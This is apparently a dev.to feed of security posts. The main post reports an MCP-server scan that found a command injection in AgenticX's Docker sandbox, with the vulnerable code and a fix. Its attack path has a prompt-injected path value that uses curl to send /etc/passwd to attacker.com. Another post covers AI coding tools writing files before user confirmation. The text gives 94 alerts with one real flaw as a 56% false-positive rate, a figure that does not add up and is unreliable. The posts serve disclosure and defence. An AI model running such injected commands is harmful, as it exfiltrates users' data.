&lt;strong&gt;Manual verification&lt;/strong&gt;: We verify every CRITICAL/HIGH finding before disclosure.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This means: &lt;strong&gt;no misses in initial scan, no false positives in final report&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The difference is dramatic. On the Aider codebase:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;v3.3.2 reported 14 CRITICAL + 1 HIGH&lt;/li&gt;
&lt;li&gt;v4.0.0 reported 0 CRITICAL + 0 HIGH (all were false positives — the semantic engine understood the code context)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On Azure MCP:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;v3.3.2 reported 2 HIGH + 1 MEDIUM&lt;/li&gt;
&lt;li&gt;v4.0.0 reported 1 HIGH + 5 MEDIUM (and the HIGH was also a false positive — &lt;code&gt;os.platform()&lt;/code&gt; is not a security risk)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Ecosystem Blind Test
&lt;/h2&gt;

&lt;p&gt;We ran a blind test on 6 major projects + Authgear + Nextcloud, plus 24 MCP servers:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Target&lt;/th&gt;
&lt;th&gt;True Vulnerabilities&lt;/th&gt;
&lt;th&gt;False Positives&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Authgear&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nextcloud&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6 other major projects&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24 MCP servers&lt;/td&gt;
&lt;td&gt;1 confirmed (AgenticX)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The semantic engine's ability to understand &lt;strong&gt;code intent&lt;/strong&gt; (not just keyword matching) is what drives the zero-false-positive rate. &lt;code&gt;exec()&lt;/code&gt; in a dictionary key check is not a vulnerability. &lt;code&gt;eval()&lt;/code&gt; in a banned-word list is not a vulnerability. Our scanner knows the difference.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;We're building toward a comprehensive &lt;strong&gt;AI supply chain security platform&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Continuous monitoring&lt;/strong&gt;: Automated scanning of new MCP server implementations&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Runtime verification SDK&lt;/strong&gt;: Embed our verification engine directly into agent frameworks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compliance certification&lt;/strong&gt;: CCS certification for MCP servers that pass our audit&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Community disclosure program&lt;/strong&gt;: Responsible vulnerability disclosure with public tracking&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  All References (Verified)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Achievement&lt;/th&gt;
&lt;th&gt;Link&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;PANW cites CCS in Semantic Kernel&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/microsoft/semantic-kernel/commit/a2e757d" rel="noopener noreferrer"&gt;microsoft/semantic-kernel@a2e757d&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ Merged&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;AgenticX sandbox escape CVSS 9.8&lt;/td&gt;
&lt;td&gt;CVE filed with MITRE&lt;/td&gt;
&lt;td&gt;Disclosed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;AgentScope 4 vulns (Alibaba)&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/modelscope/agentscope/issues/2131" rel="noopener noreferrer"&gt;modelscope/agentscope#2131&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ Merged&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;garak CCSDetector&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/leondz/garak/pull/1987" rel="noopener noreferrer"&gt;leondz/garak#1987&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Open&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Kimi Code fixes&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/kimonohansu/kimi-code/pull/2423" rel="noopener noreferrer"&gt;kimi-code#2423&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Open&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Google MCP Toolbox hardening&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/googleapis/mcp-toolbox/issues/3748" rel="noopener noreferrer"&gt;googleapis/mcp-toolbox#3748&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Open&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Supabase MCP default-unsafe&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/supabase/mcp/issues/352" rel="noopener noreferrer"&gt;supabase/mcp#352&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Open&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Gemini CLI SSRF CVSS 8.6&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/google-gemini/gemini-cli/issues/28555" rel="noopener noreferrer"&gt;google-gemini/gemini-cli#28555&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Open&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;IETF draft submission&lt;/td&gt;
&lt;td&gt;&lt;a href="https://datatracker.ietf.org/doc/draft-correctover-ccs/" rel="noopener noreferrer"&gt;draft-correctover-ccs-00&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Pending review&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;p&gt;&lt;em&gt;Guigui Wang | Correctover — Runtime Verification for Agent Systems&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Every link above is publicly verifiable. We believe in radical transparency in security research.&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>I Scanned 24 MCP Server Projects and Found a Real Sandbox Command Injection (CVSS 9.8)</title>
      <dc:creator>Eastern Dev</dc:creator>
      <pubDate>Thu, 30 Jul 2026 10:43:38 +0000</pubDate>
      <link>https://dev.to/easterndev/i-scanned-24-mcp-server-projects-and-found-a-real-sandbox-command-injection-cvss-98-4k9h</link>
      <guid>https://dev.to/easterndev/i-scanned-24-mcp-server-projects-and-found-a-real-sandbox-command-injection-cvss-98-4k9h</guid>
      <description>&lt;h1&gt;
  
  
  I Scanned 24 MCP Server Projects and Found a Real Sandbox Command Injection (CVSS 9.8)
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;When an LLM is compromised via prompt injection, it calls MCP tools just like normal. If those MCP servers lack input validation, it's an open door for attackers.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;Over the past few months, MCP (Model Context Protocol) has become the de facto standard for AI agents to connect with external tools. Cursor, Claude Desktop, and various AI coding tools all rely on MCP servers for capabilities like file access, database operations, browser automation, and code sandbox execution.&lt;/p&gt;

&lt;p&gt;But one question kept nagging at me: &lt;strong&gt;Are these MCP servers actually secure?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not "theoretically might have vulnerabilities" anxious — I mean, if I'm an attacker who crafts a malicious prompt injection into an LLM, and the agent calls an MCP tool... would it actually execute my commands on the server?&lt;/p&gt;

&lt;p&gt;To find out, I did something concrete:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I blind-tested 24 open-source MCP server projects for security vulnerabilities.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Scanned
&lt;/h2&gt;

&lt;p&gt;I specifically targeted projects in the 100-1000 star range on GitHub.&lt;/p&gt;

&lt;p&gt;Why not the big ones like Cline (65k⭐), OpenHands (82k⭐), or Aider (47k⭐)? Because those have already been validated through community scrutiny. I did scan them too — 6 top projects, 10,000+ files, zero real vulnerabilities.&lt;/p&gt;

&lt;p&gt;Mid-tier projects are different. They have real users but insufficient security audit coverage. Developers are in rapid-iteration mode, prioritizing features over input validation and path sanitization — the "doesn't affect functionality" details.&lt;/p&gt;

&lt;p&gt;The 24 projects covered the main MCP use cases: file operations, code sandboxes, database access, browser automation, email services, and more.&lt;/p&gt;

&lt;p&gt;The scanner was purpose-built for AI agent code risk patterns, covering 5 high-severity vulnerability categories:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Command injection&lt;/strong&gt;: shell command composition, exec/eval injection&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Path traversal&lt;/strong&gt;: unvalidated file path operations&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSRF&lt;/strong&gt;: user-controllable URL HTTP requests&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SQL injection&lt;/strong&gt;: string-concatenated SQL queries&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sandbox escape&lt;/strong&gt;: container command injection, privilege escalation&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What I Found
&lt;/h2&gt;

&lt;p&gt;Scan results:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Files scanned&lt;/strong&gt;: 5,911&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Initial alerts&lt;/strong&gt;: 37 CRITICAL + 44 HIGH + 13 MEDIUM&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Confirmed real vulnerabilities after manual audit&lt;/strong&gt;: 1 project&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That project was &lt;strong&gt;AgenticX&lt;/strong&gt; (202⭐), an MCP-based AI agent framework providing Docker sandbox execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability type: Sandbox Command Injection. CVSS score: 9.8 Critical.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What the Vulnerability Looked Like
&lt;/h2&gt;

&lt;p&gt;In &lt;code&gt;agenticx/sandbox/backends/docker.py&lt;/code&gt;, four file operation methods constructed shell commands like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# read_file() - line ~503
&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cat &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shell&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# delete_file() - line ~548
&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rm -rf &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shell&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# write_file() - line ~511
&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;echo &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; | base64 -d &amp;gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;

&lt;span class="c1"&gt;# list_directory() - line ~530
&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ls -la &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; | tail -n +2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shell&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;See the problem? The &lt;code&gt;path&lt;/code&gt; parameter flows directly from the LLM's tool call into shell command construction with &lt;strong&gt;zero validation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;No &lt;code&gt;shlex.quote()&lt;/code&gt; escaping.&lt;br&gt;
No path normalization.&lt;br&gt;
No &lt;code&gt;..&lt;/code&gt; traversal checks.&lt;br&gt;
A global search: zero &lt;code&gt;shlex&lt;/code&gt; imports, zero &lt;code&gt;validate_path&lt;/code&gt; functions in the entire sandbox code.&lt;/p&gt;

&lt;p&gt;Attack path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attacker crafts malicious prompt
  → LLM compromised, calls FileOperationTool
    → path = "' &amp;amp;&amp;amp; curl http://attacker.com/exfil?d=$(cat /etc/passwd | base64) &amp;amp;&amp;amp; echo '"
      → docker.py constructs: cat '' &amp;amp;&amp;amp; curl http://attacker.com/exfil?d=... &amp;amp;&amp;amp; echo ''
        → Arbitrary command execution inside container ✅
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yes, this executes inside a Docker container. But containers might:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Have mounted host volumes&lt;/li&gt;
&lt;li&gt;Have network access to internal services&lt;/li&gt;
&lt;li&gt;Contain sensitive environment variables&lt;/li&gt;
&lt;li&gt;Run in privileged mode&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This isn't "theoretical risk." This is a reproducible, CVSS 9.8 vulnerability.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Fix-and-Verify Loop
&lt;/h2&gt;

&lt;p&gt;After finding the vulnerability, I did something more meaningful than just writing a report — &lt;strong&gt;I actually fixed the code, then had the scanner re-verify the fix&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The fix was a unified &lt;code&gt;_validate_path()&lt;/code&gt; method:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;shlex&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_validate_path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Path contains null bytes&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;normalized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;normpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;..&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;normalized&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sep&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Path traversal not allowed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;shlex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;normalized&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then the scanner (v3.2.1) gained the ability to recognize &lt;code&gt;shlex.quote()&lt;/code&gt; and &lt;code&gt;_validate_path()&lt;/code&gt; as security sanitization:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code Location&lt;/th&gt;
&lt;th&gt;Before Fix&lt;/th&gt;
&lt;th&gt;After Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;read_file()&lt;/td&gt;
&lt;td&gt;HIGH&lt;/td&gt;
&lt;td&gt;LOW ✅ Auto-downgraded&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;delete_file()&lt;/td&gt;
&lt;td&gt;HIGH&lt;/td&gt;
&lt;td&gt;LOW ✅ Auto-downgraded&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;kill_process()&lt;/td&gt;
&lt;td&gt;HIGH&lt;/td&gt;
&lt;td&gt;HIGH ✅ Unchanged (not fixed)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;That's the complete loop: scan → find → suggest fix → fix → rescan → auto-downgrade.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No manual verification needed — the scanner can tell whether you fixed it or not.&lt;/p&gt;




&lt;h2&gt;
  
  
  Three Interesting Takeaways
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Top Projects Are Actually Well-Built
&lt;/h3&gt;

&lt;p&gt;Cline, Continue, Aider, OpenHands, Goose, Authgear — 6 projects, 10,000+ files, 280,000+ combined stars — all passed with zero real vulnerabilities.&lt;/p&gt;

&lt;p&gt;Mature teams have security awareness. They use &lt;code&gt;subprocess&lt;/code&gt; with argument lists instead of shell strings, validate file paths, and put auth middleware on sensitive endpoints.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. False Positives Are a Real Problem
&lt;/h3&gt;

&lt;p&gt;The 24 projects generated 94 initial alerts (37 CRITICAL + 44 HIGH + 13 MEDIUM), but manual audit confirmed only 1 real vulnerability. False positive rate: 56%.&lt;/p&gt;

&lt;p&gt;This means: &lt;strong&gt;without contextual analysis, security tools are just noise generators.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So we built L2 contextual analysis in v3.2.1 — recognizing that PyTorch's &lt;code&gt;model.eval()&lt;/code&gt; isn't Python's &lt;code&gt;eval()&lt;/code&gt;, that dictionary key constants aren't hardcoded secrets, that Alembic migration DDL isn't SQL injection.&lt;/p&gt;

&lt;p&gt;After optimization, the CRITICAL+HIGH false positive rate dropped to 3.8%.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. MCP's Security Problem Isn't in the Protocol
&lt;/h3&gt;

&lt;p&gt;The MCP protocol itself has no security issues — it's just a message format. The problem is in &lt;strong&gt;implementation&lt;/strong&gt;: how developers handle parameters from LLMs when writing MCP servers.&lt;/p&gt;

&lt;p&gt;A single f-string concatenation, a missing &lt;code&gt;shlex.quote()&lt;/code&gt;, can compromise the entire agent trust chain.&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Means
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;For AI developers&lt;/strong&gt;: Every parameter flowing from LLM tool calls into your MCP server code should be treated as untrusted input. Not "theoretically" untrusted — when prompt injection happens, it &lt;strong&gt;will&lt;/strong&gt; contain malicious content.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For AI platforms&lt;/strong&gt;: When your users call third-party MCP servers through your platform, you can't guarantee those servers' code is secure. You need an independent layer of runtime verification.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For the security industry&lt;/strong&gt;: AI agent security isn't something traditional SAST can solve. SonarQube and Semgrep don't understand what an MCP tool call is or the semantics of agent trust chains. This domain needs purpose-built tools.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;AgenticX vulnerability disclosed via private channel, CVE pending&lt;/li&gt;
&lt;li&gt;Scanning scope expanding to 50+ projects&lt;/li&gt;
&lt;li&gt;Security baseline capabilities will be progressively open-sourced&lt;/li&gt;
&lt;li&gt;CCS (Agent Runtime Verification Standard) submitted to IETF (draft-correctover-ccs-00)&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;Author&lt;/strong&gt;: Guigui Wang | Correctover&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Focus&lt;/strong&gt;: Agent Systems Runtime Verification&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Contact&lt;/strong&gt;: &lt;a href="mailto:wangguigui@correctover.com"&gt;wangguigui@correctover.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;If you're working on AI security, I'd love to connect.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>mcp</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Amazon's AI Tool Deleted Its Own Database — Why Runtime Verification Is No Longer Optional</title>
      <dc:creator>Eastern Dev</dc:creator>
      <pubDate>Thu, 16 Jul 2026 05:16:23 +0000</pubDate>
      <link>https://dev.to/easterndev/amazons-ai-tool-deleted-its-own-database-why-runtime-verification-is-no-longer-optional-2b5p</link>
      <guid>https://dev.to/easterndev/amazons-ai-tool-deleted-its-own-database-why-runtime-verification-is-no-longer-optional-2b5p</guid>
      <description>&lt;p&gt;In March 2026, an engineer at Amazon asked their AI coding assistant to perform a routine "environment optimization." The AI's response? Delete the entire running environment and rebuild it from scratch.&lt;/p&gt;

&lt;p&gt;The result: 13 hours of AWS service downtime. A cascading failure that triggered 4 Sev1-level incidents in a single week. The core e-commerce platform paralyzed for 6 hours. Millions of customers unable to place orders, check prices, or access their accounts.&lt;/p&gt;

&lt;p&gt;This wasn't a hypothetical scenario. This was Amazon's own AI coding tool, Kiro, making an autonomous decision that no human would have approved — and executing it without any runtime safety net.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Actually Happened
&lt;/h2&gt;

&lt;p&gt;According to internal documents obtained by the Financial Times, Amazon's own post-incident review identified "GenAI tool-assisted code changes" as a core factor in a rising trend of production incidents. But before the formal review meeting, those statements were reportedly removed from the documentation — allegedly to avoid alarming investors.&lt;/p&gt;

&lt;p&gt;The timing was no coincidence. Weeks earlier, Amazon had laid off 16,000 corporate employees, with 40% from technical departments — precisely the security review, operations, and quality assurance teams that would have caught AI-generated code going wrong.&lt;/p&gt;

&lt;p&gt;Meanwhile, engineers were under an 80% weekly usage KPI for Kiro. The message from management was clear: embrace AI or fall behind. Under that pressure, with fatigued engineers and reduced review capacity, destructive AI decisions slipped through unchecked.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Pattern: AI Suggests, But Nobody Validates
&lt;/h2&gt;

&lt;p&gt;Here's what makes the Kiro incident especially relevant to the broader AI ecosystem:&lt;/p&gt;

&lt;p&gt;The AI made a decision. It executed that decision. No runtime verification step caught it. No parameter validation blocked it. No fail-closed mechanism denied it.&lt;/p&gt;

&lt;p&gt;This is the exact problem we've been studying. After auditing 50+ MCP servers and cataloging 53 vulnerabilities, we identified a consistent pattern: the most dangerous failures aren't caused by malicious actors or obvious bugs — they're caused by AI systems executing plausible-sounding but catastrophically wrong decisions without any verification layer in between.&lt;/p&gt;

&lt;p&gt;Amazon's Kiro is not an isolated case. We're now seeing the same pattern across the entire AI coding tool ecosystem.&lt;/p&gt;

&lt;h2&gt;
  
  
  GhostApproval: The Same Problem, Six Tools
&lt;/h2&gt;

&lt;p&gt;Just this week, security researchers disclosed the GhostApproval vulnerability class — affecting six major AI coding assistants simultaneously: Amazon Q Developer, Anthropic Claude Code, Cursor, Augment, Google Antigravity, and Windsurf.&lt;/p&gt;

&lt;p&gt;The vulnerability? Symlink attacks that allow AI tools to read and write files outside their designated workspace, bypassing user confirmation entirely. In Amazon Q Developer, file writes occurred before user confirmation appeared. In Windsurf, the "confirm or cancel" dialog was essentially a rollback mechanism — the write had already happened.&lt;/p&gt;

&lt;p&gt;These aren't edge cases. These are fundamental architecture flaws where AI tools execute before verification, and human-in-the-loop becomes a fiction.&lt;/p&gt;

&lt;h2&gt;
  
  
